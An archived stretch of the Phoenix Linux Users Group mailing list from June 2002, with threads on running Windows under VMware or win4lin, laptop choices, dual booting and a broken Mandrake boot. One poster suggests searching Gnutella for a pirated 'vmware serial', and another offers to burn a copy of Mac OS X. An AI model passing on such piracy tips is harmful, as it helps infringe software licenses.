>>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 00:12:20 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Tue, 11 Jun 2002 20:12:20 -0400 Subject: Windows and Linux References: <52339DF144F8AB458552076D1ED5CA152F1C80@mail.interactcommerce.com> <200206102200.00787.plug@the-arcanum.org> <3D05E163.2F12A01A@georgetoft.com> <200206110847.11590.plug@the-arcanum.org> Message-ID: <3D0691E4.5C7664EE@georgetoft.com> You could download the RPM, then use a Gnutella client to search for "vmware serial" and see what pops up. This, however, goes against why I buy retail distros - it's cool to support a company that makes Linux products. I spent Thousands of $$$ on Windows crap just to get what's on a Linux distro for under $100. Quite a bit of my Windows $$$ went for clean up software, stabilizing software, and anti-virus software - none of which is necessary under Linux. This page still shows $299: https://www.vmware.com/request_processor?nextPage=/vmwarestore/newstore/category.jsp&action=CATALOG.GETGROUPS&application=store&ProductGroupCodes=WKST3-WIN,WKST3-LX The flexibility is wonderful. I use it to create testbeds that I can destroy. I have a copy of my World Famous (well, it will be) Firewall that I pound. I verified my backup procedure by restoring the backup to a vmware instance - including disk partitioning. I have a copy of Win95, that does my taxes, and some avi -> mpeg conversions for me. I have a full e-commerce server set up. If I totally hose any of them, I restore the image from backup, and restart it. Trying this on real hardware is not really feasible. George Nathan England wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Ouch! > That's a little our of my price range! > > Am Dienstag 11 Juni 2002 04:39 vormittags schrieb George Toft: > > Hi Nathan, > > > > The price for vmware is $299. > > > > George > > > > Nathan England wrote: > > > -----BEGIN PGP SIGNED MESSAGE----- > > > Hash: SHA1 > > > > > > George, > > > How much did you pay for vmware? > > > > > > Am Montag 10 Juni 2002 07:10 nachmittags schrieb George Toft: > > > > My experience with vmware is very positive. Issues with vmware: > > > > - I cannot listen to Internet Radio at kccnfm100.com. Even with four > > > > new software > > > > downloads, three reboots (virtual), and 2 crashes, all I got was > > > > static. - vmware does not do streaming media via USB. Want to use a > > > > USB camera? Forget it. > > > > - vmware with sound is usually preceeded with a loud pop. > > > > - vmware does not support directx very well (if at all). > > > > > > > > Other than that, it lets me do my taxes, browse using IE 5.5, and gives > > > > me blue screens, > > > > just like the real thing. > > > > > > > > George > > > > > > > > Mike Porter wrote: > > > > > Ok, this is intriguing to me. I am looking to migrate my house over > > > > > to Linux, but I have some apps for which I cannot find comparable > > > > > *nix substitutes. (Believe it or not, the request to move torward > > > > > Linux is at my wife's request) > > > > > > > > > > So, those who have experienced VMware, win4lin, and the like, can you > > > > > offer me your best suggestions as far as which you prefer and which > > > > > flavor of Linux you believe is most solid with your choice? Also, > > > > > any gotchas that you can think of would be most helpful. > > > > > > > > > > Also, has anyone run into problems with accessing Windows only > > > > > devices using either of these options? > > > > > > > > > > Mike > > > > > > > > > > -----Original Message----- > > > > > From: Derek Neighbors [mailto:derek@gnue.org] > > > > > Sent: Sunday, May 26, 2002 9:36 PM > > > > > To: plug-discuss@lists.plug.phoenix.az.us > > > > > Cc: punkmmiv@cox.net > > > > > Subject: Re: Windows and Linux > > > > > > > > > > On 26 May 2002 22:44:49 -0700 > > > > > > > > > > Matt wrote: > > > > > > I know that Windows and Linux are supposed to operate pretty well > > > > > > together, but the only articles I've read are about installing > > > > > > Linux once Windows is already there. I'm running a pure SuSE 8.0 > > > > > > box and I was wondering if it's possible to install Windows on it > > > > > > while still being able to use my current install? > > > > > > > > > > Try win4lin. It lets you run windows as a window inside your > > > > > GNU/Linux environment. Unlike VMWare and friends it is not a VM. > > > > > Also, unlike WINE it actually works and works well. It will even let > > > > > windows use (read/write) to your GNU/Linux file systems and such. It > > > > > is not free, but neither is M$ Windows (so I assume you dont have a > > > > > problem with that) and it is by far the best way to 'suffer' M$ while > > > > > not having to 'leave' a real operating system. > > > > > > > > > > -Derek > > > > > ________________________________________________ > > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > > > > doesn't post to the list quickly and you use Netscape to write mail. > > > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > ________________________________________________ > > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > > > > doesn't post to the list quickly and you use Netscape to write mail. > > > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > > ________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > > post to the list quickly and you use Netscape to write mail. > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > -----BEGIN PGP SIGNATURE----- > > > Version: GnuPG v1.0.7 (GNU/Linux) > > > > > > iD8DBQE9BYPQQ7yNnsYcupwRAnQTAJ91XjbtdTMDhIRATUilt6n3zeX+qgCfU0fr > > > UHgqeghEeXKGOxPtBOCylhE= > > > =GPfW > > > -----END PGP SIGNATURE----- > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.0.7 (GNU/Linux) > > iD8DBQE9Bht/Q7yNnsYcupwRAhNWAKChScTJATCgmuNIRvNoSCKzhbKd5QCgiJ1C > UyLE5jAFRuvxRSWhfXHE6dI= > =4T27 > -----END PGP SIGNATURE----- > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 00:27:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Tue, 11 Jun 2002 20:27:13 -0400 Subject: Linux for Christians References: <1023644806.3d039486f097c@webmail.freedom2surf.net> <3D056815.5080304@earthlink.net> <200206102243.35463@granroth.org> <200206102322.38624.voltage_spike@fastmail.fm> <3D060AA6.3010503@ttiltd.com> Message-ID: <3D069561.41A184B1@georgetoft.com> I remember my friend's mother's reaction when she found out he had the soundtrack from Saturday Night Fever (remember the Bee Gees?) - Devil music she said it was. Here we are, 24 years later, and we all seem to have survived. 24 years from now, when everyone has a PDA watch with personal locators, integrated video phone, full Internet connectivity, proximity transceivers for POS purchasing, full-motion color video capture capability and onboard MPEG-12 compression on its puny 1TB memory card, we'll look back at those that thought the Internet was evil and smile at their naivity. Anyone read the book "The Road Ahead" by Bill Gates? Excellent book, and the CD in the back (if you can find a Windows box that will actually run it) has a great peak into the future. George Greg wrote: > > Heeeeeey....!!!! > > Put the cat down and step away from the keyboard! > haha, just joking > > Internet is evil? > Damn! sometimes I still feel like I am living in dark ages. > When do these morons realize that technology is never good or bad! > It is neutral and only what you do with it is good or bad! > > For what it's worth I could probably use some Christian distro and host > pron on it. (LOL) > How does this sound to you all? Whould that constitute blasphemy? > > Greg > > Voltage Spike wrote: > > >-----BEGIN PGP SIGNED MESSAGE----- > >Hash: SHA1 > > > >On Monday 10 June 2002 22:43, Kurt Granroth wrote: > > > > > >>What *this* site is is yet another Special Interests Group with links > >>to software related to their interest. It's no different, really, > >>than an animal lover offering links to screensavers, wallpapers, pet > >>interaction programs, and the like. Or any low-budget advocacy group > >>sharing info on using Linux to advance the cause. > >> > >> > > > >Don't worry. We'd laugh at the cat lovers as well. No harm > >intended. ;-) > > > > > > > >>I actually did something a *little* similar not that long ago with my > >>own church in an attempt to get people to interact more online. I had > >>some tutorials and the like written up on how to use Linux and ogg > >>vorbis (and was getting into icecast) to allow church members spread > >>around the country and the world to still stay in touch. > >>Hmm.. although in my case, midway through my work, I was told by the > >>Church Board that I was to cease and desist any and all work I was > >>doing since the Internet was evil (no joke) and they thought people > >>should spend less time online, not more. Ah well. > >> > >> > > > >"Evil"? I think I hear the words of an individual with little > >experience. They need to keep in mind that the first amendment doesn't > >just apply to them. > > > >In the case of spending more time offline, that is certainly a common > >thread among society. However, if the religious leader of choice can > >spend a couple of hours a day talking to people, then they should > >respect my right to do the same. > > > >Your project sounds like it is dying to be placed on the PLUG website, > >though. :-) > > > >- -- > > Voltage Spike > > ,,, > > (. .) > >- --ooO-(_)-Ooo-- > >-----BEGIN PGP SIGNATURE----- > >Version: GnuPG v1.0.6 (GNU/Linux) > >Comment: For info see http://www.gnupg.org > > > >iD8DBQE9BZclpNoctRtUIRQRAvBoAJ9DtUikb5Td1sH2MA1MT6ZxuTaFrACgjUeN > >+nl5JW8PnnIFGzFr+PUmJrs= > >=xg3K > >-----END PGP SIGNATURE----- > > > >________________________________________________ > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 00:39:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bruce and Kathy Pettycrew) Date: Tue, 11 Jun 2002 17:39:09 -0700 Subject: Tux' religious affiliation In-Reply-To: <200206111535.g5BFZ2215165@PlugList.MyButt.Net> Message-ID: <3.0.6.32.20020611173909.007a7100@pop.west.cox.net> Free software is, as the Firesign Theatre stated in _Tail of the Giant Rat of Sumatra_, "A Power SO great that it can _only_ be used for good or for evil". From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 01:02:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (Cap Bateman) Date: 11 Jun 2002 18:02:16 -0700 Subject: Tux' religious affiliation In-Reply-To: <3.0.6.32.20020611173909.007a7100@pop.west.cox.net> References: <3.0.6.32.20020611173909.007a7100@pop.west.cox.net> Message-ID: <1023843737.19030.12.camel@desktop.capnet.lan> --=-PU/tdv41czzO9+h6ubfc Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Tue, 2002-06-11 at 17:39, Bruce and Kathy Pettycrew wrote: >=20 > Free software is, as the Firesign Theatre stated in=20 > _Tail of the Giant Rat of Sumatra_, >=20 > "A Power SO great that it can _only_ be used for good or for evil". >=20 And they must have been talking about redmond when they said, "I think we're all bozos on this bus." --=20 D.L. 'Cap' Bateman Registered Linux User #268440, Machine #151687 No trees were harmed in sending this Earth-safe message. However, a few electrons may have been inconvenienced. --=-PU/tdv41czzO9+h6ubfc Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQA9Bp2Y6He1yLs+JHwRAmivAJ4tLli7hvzBx1nAMWyxN/03BPvp1wCgkoL2 O2fh9khRZGwk7P5UrdoTcLk= =kol7 -----END PGP SIGNATURE----- --=-PU/tdv41czzO9+h6ubfc-- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 01:04:32 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Tue, 11 Jun 2002 18:04:32 -0700 Subject: New Notebook Recommendations? In-Reply-To: <200206112355.TAA07496@hostinworld6.com> References: <200206112355.TAA07496@hostinworld6.com> Message-ID: <200206111804.32104.voltage_spike@fastmail.fm> On Tuesday 11 June 2002 04:55 pm, Bryce "C." wrote: > If you're going to the installfest, i'll burn you a copy. Just don't > expect support from me. I didn't know you could copy laptops so easily. Thanks! > On 11 Jun 2002 12:23:47 -0700, Logan Kennelly wrote: > > I am looking into buying a new notebook computer for use as a > > general-purpose machine. One of my primary uses on the old laptop was > > for testing new *nix systems (FreeBSD, various distributions of Linux, > > etc.). > > > > I am considering buying from PC Club (www.pcclub.com), but if anybody > > else has any suggestions, I am willing to listen. > > > > The question I am more interested in, however, is whether I should go > > with an Intel or an AMD mobile processor. Intel seems to have some > > very nice features for their mobile line, but I have been unable to > > locate some good comparisons of the two. If somebody on the list has > > researched this item, I would love to hear from you. > > > > Thank you ahead of time. > > > > PS: I would really love an Apple system, but then I couldn't use it as > > test bed. Still, if someone can sell me on Mac OS X . . . > > > > PPS: I am sorry that I butchered the English language in the above > > message. I am hungry, and my brain is not working properly. -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 13:55:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (j) Date: Wed, 12 Jun 2002 06:55:57 -0700 Subject: code red virus? In-Reply-To: <20020611153210.D11403@lilly.csoft.net> References: <3D06F5CB.84E0A50D@mindspring.com> <20020611153210.D11403@lilly.csoft.net> Message-ID: By "hits" I meant attempts to negotiate the firewall as per the intrusion detection logs. Sorry if I was not clear. On Tuesday 11 June 2002 13:32, you wrote: > How are you defining "hits"? > > > On Wed, Jun 12, 2002 at 12:18:36AM -0700, User wrote: > Lately we have noticed that our friendly firewall is taking hits from > what seems to be Russia. At least today it seems to be Russia. > Novoisvirsk, it seems like, according to traceroute. > I don't know a whole lot about probes like this but am thankful to you > folks for your guidance with regard to firewalls. > > Is there something that we can do with regard to this type of thing? > Maybe, just track them down for fun. Where would be a good place to > start reading about this sort of thing. > > We trace routed them throught 25 hops to 217.70.107.151 > > p151.rnttu.sinor.ru was the last hop on the list. > > Thank you > Roger > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 02:14:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Berkwitt) Date: Tue, 11 Jun 2002 19:14:55 -0700 Subject: I created a new fat32 partition from free space, now my dual boot W2K/Mandrake won't boot. In-Reply-To: Message-ID: I'm trying to use the update installation to Mandrake 8.2 to fix the problem; it's uncooporative. -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Mark Berkwitt Sent: Tuesday, June 11, 2002 3:34 PM To: PLUG Subject: I created a new fat32 partition from free space, now my dual boot W2K/Mandrake won't boot. I created a new fat32 partition from free space on my 40GB hdd. Now my dual boot W2K/Mandrake won't boot. I used the "Disk Manager" feature in W2K Pro to create a fat32 partition. It complained that another program was using the hdd or something but I managed to format it anyway and use it within W2K. Now I can't start my linux installation. The W2K still boots. This is my partition map: Primary HTFS 7.81GB Extended 494MB / ext2 or ext3 243MB swap 2.93GB ? ext? 4.6GB /home ext? 3.91GB fat32 << Here's the new one I just made. (G:) 14GB FREE 3.91GB fat32 << Old part. for sharing .mp3 and transfering between OSs. (F:) Here is my error message: Activating swap partitions: swapon: /dev/hda7: Invalid argument [FAILED] Finding module dependencies [OK] Checking filesystems /dev/hda9: The superblock could not be read or does not describe a correct ext2 filesystem. If the device is valid and it really contains an ext2 filesystem (and not a swap or ufs or something else), then the superblock is corrupt, and you might try running e2fsck with an alternate superblodk: e2fsck -b 8193 fsck.ext3: Bad magic number in super-block while trying to open /dev/hda9 /dev/hda8: clean, 587/602656 files, 29306/1204867 Failed to check filesystem. Do you want to repair the errors? (Y/N) (beware, you can lose data) I tried deleting the newly created fat32 but my Mandrake 8.1 still won't start. ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 02:32:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nathan England) Date: Tue, 11 Jun 2002 19:32:14 -0700 Subject: XP/Linux dual boot In-Reply-To: <200206110915.46929.krycom1@cox.net> References: <200206110555.g5B5t3210306@PlugList.MyButt.Net> <200206110841.29148.plug@the-arcanum.org> <200206110915.46929.krycom1@cox.net> Message-ID: <200206111932.18540.plug@the-arcanum.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 That's good to know! But how did you do it? Did you set the partitions first using a partition editor? Future reference, and the rest of us might be interested. nathan Am Dienstag 11 Juni 2002 09:15 vormittags schrieb Richard L. Proctor: > On Tuesday 11 June 2002 8:41 am, Nathan England wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > > Hash: SHA1 > > > > > > I would install XP in a fat32 partition. Don't use NTFS. > > As far as I know, you can't modify the fat32 partition that XP is on, or > > it will break it's crc consistency and it won't boot. > > > > I don't know if that means the partition table in general or not. > > You might try getting a copy of partition magic 7 and use that. > > If you don't have it, I can loan you a copy of the rescue disks. > > > > nathan > > I use XP and SuSE 8.0 Professional and have Win XP using NTFS on half the > drive and SuSE on the other half and as a dual boot system. Works fine!! -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9BrKyQ7yNnsYcupwRAq/AAJ419YG9aJZzf76FPeu7M3UO5LHTuACfRbM0 sNez/EfY+RNFwZwF559tvD4= =Tvb1 -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 03:12:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 11 Jun 2002 20:12:25 -0700 Subject: New Notebook Recommendations? In-Reply-To: <200206111804.32104.voltage_spike@fastmail.fm> References: <200206112355.TAA07496@hostinworld6.com> <200206111804.32104.voltage_spike@fastmail.fm> Message-ID: <200206120313.XAA09992@hostinworld6.com> I meant OSX and I think you knew that. On 11 Jun 2002 18:04:32 -0700, Logan Kennelly wrote: > On Tuesday 11 June 2002 04:55 pm, Bryce "C." wrote: > > If you're going to the installfest, i'll burn you a copy. Just don't > > expect support from me. > > I didn't know you could copy laptops so easily. Thanks! > > > On 11 Jun 2002 12:23:47 -0700, Logan Kennelly wrote: > > > I am looking into buying a new notebook computer for use as a > > > general-purpose machine. One of my primary uses on the old laptop was > > > for testing new *nix systems (FreeBSD, various distributions of Linux, > > > etc.). > > > > > > I am considering buying from PC Club (www.pcclub.com), but if anybody > > > else has any suggestions, I am willing to listen. > > > > > > The question I am more interested in, however, is whether I should go > > > with an Intel or an AMD mobile processor. Intel seems to have some > > > very nice features for their mobile line, but I have been unable to > > > locate some good comparisons of the two. If somebody on the list has > > > researched this item, I would love to hear from you. > > > > > > Thank you ahead of time. > > > > > > PS: I would really love an Apple system, but then I couldn't use it as > > > test bed. Still, if someone can sell me on Mac OS X . . . > > > > > > PPS: I am sorry that I butchered the English language in the above > > > message. I am hungry, and my brain is not working properly. > > -- > Logan Kennelly > ,,, > (. .) > --ooO-(_)-Ooo-- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 03:22:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 11 Jun 2002 20:22:05 -0700 Subject: New Notebook Recommendations? In-Reply-To: <200206111804.32104.voltage_spike@fastmail.fm> References: <200206112355.TAA07496@hostinworld6.com> <200206111804.32104.voltage_spike@fastmail.fm> Message-ID: <1023852125.3d06be5dac384@webmail.freedom2surf.net> Quoting Logan Kennelly : > On Tuesday 11 June 2002 04:55 pm, Bryce "C." wrote: > > If you're going to the installfest, i'll burn you a copy. Just don't > > expect support from me. > > I didn't know you could copy laptops so easily. Thanks! In case the "laptop replicator" does work (it's a M$ product, right?) my boss has a Toshiba Satellite 2805 that is going on eBay later this week (unless someone else snaps it up first). 650mHz Celeron, 6Gb HDD, DVD, 13.3in TFT, modem, ethernet - excellent condition; it rarely left the office. They are going for $575~675 on eBay. Dennis Kibbe ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 05:02:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (bob smith) Date: Tue, 11 Jun 2002 22:02:10 -0700 (PDT) Subject: New Notebook Recommendations? In-Reply-To: <1023852125.3d06be5dac384@webmail.freedom2surf.net> Message-ID: <20020612050210.71089.qmail@web13405.mail.yahoo.com> I love my Dell Inspiron 8100 and I dual boot FreeBSD 4.5 (soon to be 4.6) and Win98se with it. I have some compatibility problems with it but I've been able to work around them ok. The casing is a little flimsy and it can get pretty hot depending on what you are doing. 2 thumbs up, a must see. http://www.openbsd.org/c2k2/hin/dscn0775.jpg Here you see a OpenBSD hacker tapping away at his. __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 05:35:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike Butash) Date: Tue, 11 Jun 2002 22:35:48 -0700 Subject: New Notebook Recommendations? In-Reply-To: <200206111223.47899.voltage_spike@fastmail.fm> Message-ID: <004701c211d3$021c5ca0$0a64a8c0@internal.nutsac.org> Depends what you want to spend really. I bought one of the satellite 5005-507's with the gf4 video that rocks. You can't beat 1600x1200 on a laptop with a burner for friendly backups on the fly or lan gaming on the clock getting decent framerates with 4xAA turned on. I've heard of bios issues with lockups and the proc running at a lower frequency, but honestly I've never had a bit of problem with it. ACPI gets a bit flakey in XP as the display won't shut off (only the screensaver will kick in), but im sure that's more M$'s fault than Toshiba's. Not sure how the newer dell's are, but my company uses dell exclusively, and just about every laptop ive seen floating around is broken, usually with a keyboard. The RMA fix? Replace the motherboard in them systematically. My partner's won't post before shutting itself down currently... I've got an inspiron 8000 that locks constantly on me, so much I use my satellite more for work. I reboot the Satellite every few weeks, even in and out of sleep mode daily, never hard shutdown. Only problem with the satellite is no serial port which makes configuring routers difficult, but I got a usb serial adapter for 30 bucks that works flawlessly for that. My satellite also cost about 1200 less than a comprably equipped dell inspiron. my two cents... -mbutash -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Logan Kennelly Sent: Tuesday, June 11, 2002 12:24 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: New Notebook Recommendations? I am looking into buying a new notebook computer for use as a general-purpose machine. One of my primary uses on the old laptop was for testing new *nix systems (FreeBSD, various distributions of Linux, etc.). I am considering buying from PC Club (www.pcclub.com), but if anybody else has any suggestions, I am willing to listen. The question I am more interested in, however, is whether I should go with an Intel or an AMD mobile processor. Intel seems to have some very nice features for their mobile line, but I have been unable to locate some good comparisons of the two. If somebody on the list has researched this item, I would love to hear from you. Thank you ahead of time. PS: I would really love an Apple system, but then I couldn't use it as test bed. Still, if someone can sell me on Mac OS X . . . PPS: I am sorry that I butchered the English language in the above message. I am hungry, and my brain is not working properly. -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 05:39:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (Voltage Spike) Date: Tue, 11 Jun 2002 22:39:08 -0700 Subject: New Notebook Recommendations? In-Reply-To: <200206120313.XAA09992@hostinworld6.com> References: <200206112355.TAA07496@hostinworld6.com> <200206111804.32104.voltage_spike@fastmail.fm> <200206120313.XAA09992@hostinworld6.com> Message-ID: <200206112239.13132.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Tuesday 11 June 2002 20:12, Bryce "C." wrote: > I meant OSX and I think you knew that. Maybe I did and maybe I didn't. All I know is that I can pick up a Mac OS 10.1 upgrade disk if I want the system. I am sure that it would have problems with the VIA chipset, though. ;-) - -- Voltage Spike ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9Bt5/pNoctRtUIRQRAjJnAJwI/N7EYz1IfBxOzgQ6GsTCmirI4ACdFliF bnHPUu9YDMJeBsl2RFBU3Xc= =fzAI -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 08:06:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nathan England) Date: Wed, 12 Jun 2002 01:06:51 -0700 Subject: New Notebook Recommendations? In-Reply-To: <004701c211d3$021c5ca0$0a64a8c0@internal.nutsac.org> References: <004701c211d3$021c5ca0$0a64a8c0@internal.nutsac.org> Message-ID: <200206120106.55939.plug@the-arcanum.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I would have to agree with that. The last company I worked for used exclusively Toshiba laptops, and switched to Dells. They were absolutely horrible. But the Toshiba's were tried and true work horses. I personally own two IBM Thinkpads and wouldn't ever own anything else. Though KDS has some very nice laptops out now. My favorite are the Thinkpads. I use a 600E, Pii 400 with 288mb ram and a 18gb hdd and everything in it works with linux great. I use only home brews of slackware. And none of my machines have ever seen windows, so I can't tell you how it behaves in that respect. The only part of my 600E that didn't work was the modem, (mwave) which now has kernel support! Though I use a Xircom 10/100/v.90 cardbus card, so I haven't tried the mwave anyway. It uses the neomagic driver, or the frame buffer, both work great. I have seen them around for sale in the $300-700 range... I absolutely love it! nathan Am Dienstag 11 Juni 2002 10:35 nachmittags schrieb Mike Butash: > Depends what you want to spend really. I bought one of the satellite > 5005-507's with the gf4 video that rocks. You can't beat 1600x1200 on a > laptop with a burner for friendly backups on the fly or lan gaming on the > clock getting decent framerates with 4xAA turned on. I've heard of bios > issues with lockups and the proc running at a lower frequency, but honestly > I've never had a bit of problem with it. ACPI gets a bit flakey in XP as > the display won't shut off (only the screensaver will kick in), but im sure > that's more M$'s fault than Toshiba's. > > Not sure how the newer dell's are, but my company uses dell exclusively, > and just about every laptop ive seen floating around is broken, usually > with a keyboard. The RMA fix? Replace the motherboard in them > systematically. My partner's won't post before shutting itself down > currently... I've got an inspiron 8000 that locks constantly on me, so > much I use my satellite more for work. I reboot the Satellite every few > weeks, even in and out of sleep mode daily, never hard shutdown. Only > problem with the satellite is no serial port which makes configuring > routers difficult, but I got a usb serial adapter for 30 bucks that works > flawlessly for that. My satellite also cost about 1200 less than a > comprably equipped dell inspiron. > > my two cents... > > -mbutash > > -----Original Message----- > From: plug-discuss-admin@lists.plug.phoenix.az.us > [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Logan > Kennelly > Sent: Tuesday, June 11, 2002 12:24 PM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: New Notebook Recommendations? > > > I am looking into buying a new notebook computer for use as a > general-purpose machine. One of my primary uses on the old laptop was > for testing new *nix systems (FreeBSD, various distributions of Linux, > etc.). > > I am considering buying from PC Club (www.pcclub.com), but if anybody > else has any suggestions, I am willing to listen. > > The question I am more interested in, however, is whether I should go > with an Intel or an AMD mobile processor. Intel seems to have some very > nice features for their mobile line, but I have been unable to locate > some good comparisons of the two. If somebody on the list has > researched this item, I would love to hear from you. > > Thank you ahead of time. > > PS: I would really love an Apple system, but then I couldn't use it as > test bed. Still, if someone can sell me on Mac OS X . . . > > PPS: I am sorry that I butchered the English language in the above message. > I am hungry, and my brain is not working properly. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9BwEfQ7yNnsYcupwRAuIpAJ4ivKW8Ym79toUFEkKtxrjugjbrxgCdHgMK MtWfxqJWDrvlCYJLCZBDNjk= =I3d1 -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Tue 